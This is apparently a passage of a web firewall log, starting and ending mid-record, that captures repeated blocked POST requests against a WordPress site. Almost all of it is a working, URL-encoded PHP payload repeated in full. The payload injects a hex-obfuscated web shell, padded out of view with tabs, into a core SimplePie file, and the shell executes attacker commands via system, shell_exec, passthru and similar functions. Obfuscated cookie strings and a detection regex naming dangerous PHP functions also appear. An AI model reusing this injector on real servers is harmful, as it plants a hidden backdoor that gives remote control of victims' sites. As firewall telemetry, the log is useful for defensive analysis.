20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6683\naccept:*\/*\n\naD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:50:14","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrUNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6683\naccept:*\/*\n\nxp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:50:17","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/RegistryAware.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524res1%2520%253D%2520%2527737%2527%253B%2524res2%2520%253D%2520%2527973%2527%253B%2524res3%2520%253D%2520%2527746%2527%253B%2524res4%2520%253D%2520%2527736%2527%253B%2524res5%2520%253D%2520%2527657%2527%253B%2524res6%2520%253D%2520%2527865%2527%253B%2524res7%2520%253D%2520%2527727%2527%253B%2524res8%2520%253D%2520%2527f70%2527%253B%2524res9%2520%253D%2520%2527656%2527%253B%2524res10%2520%253D%2520%2527472%2527%253B%2524res11%2520%253D%2520%252716d%2527%253B%2524res12%2520%253D%2520%2527765%2527%253B%2524res13%2520%253D%2520%2527745%2527%253B%2524res14%2520%253D%2520%2527e74%2527%253B%2524res15%2520%253D%2520%252736c%2527%253B%2524res16%2520%253D%2520%25276f7%2527%253B%2524res17%2520%253D%2520%2527365%2527%253B%2524res18%2520%253D%2520%2527726%2527%253B%2524res19%2520%253D%2520%2527273%2527%253B%2524res20%2520%253D%2520%2527655%2527%253B%2524res21%2520%253D%2520%2527f73%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res2%2520.%2520%2524res3%2520.%2520%252756d%2527%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2524res5%2520.%2520%2527865%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524res6%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527173%2527%2520.%2520%2524res1%2520.%2520%2527468%2527%2520.%2520%2524res7%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res8%2520.%2520%2524res9%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res1%2520.%2520%2524res10%2520.%2520%2527656%2527%2520.%2520%2524res11%2520.%2520%25275f6%2527%2520.%2520%2524res12%2520.%2520%2524res13%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524res14%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524res15%2520.%2520%2524res16%2520.%2520%2524res17%2529%253B%2524reverse_searcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524res18%2520.%2520%2527576%2527%2520.%2520%2524res5%2520.%2520%2524res19%2520.%2520%2524res20%2520.%2520%2524res21%2520.%2520%2527656%2527%2520.%2520%2527172%2527%2520.%2520%2527636%2527%2520.%2520%2527865%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_searcher%255D%2529%2529%257B%2524reverse_searcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_searcher%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524reverse_searcher%252C%2524object_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_token%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524reverse_searcher%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524ref_value%253D%2524system_core5%2528%2524reverse_searcher%252C%2522r%2522%2529%253Bif%2528%2524ref_value%2529%257B%2524data_chunk_holder%253D%2524system_core6%2528%2524ref_value%2529%253B%2524system_core7%2528%2524ref_value%2529%253Bprint%2520%2524data_chunk_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 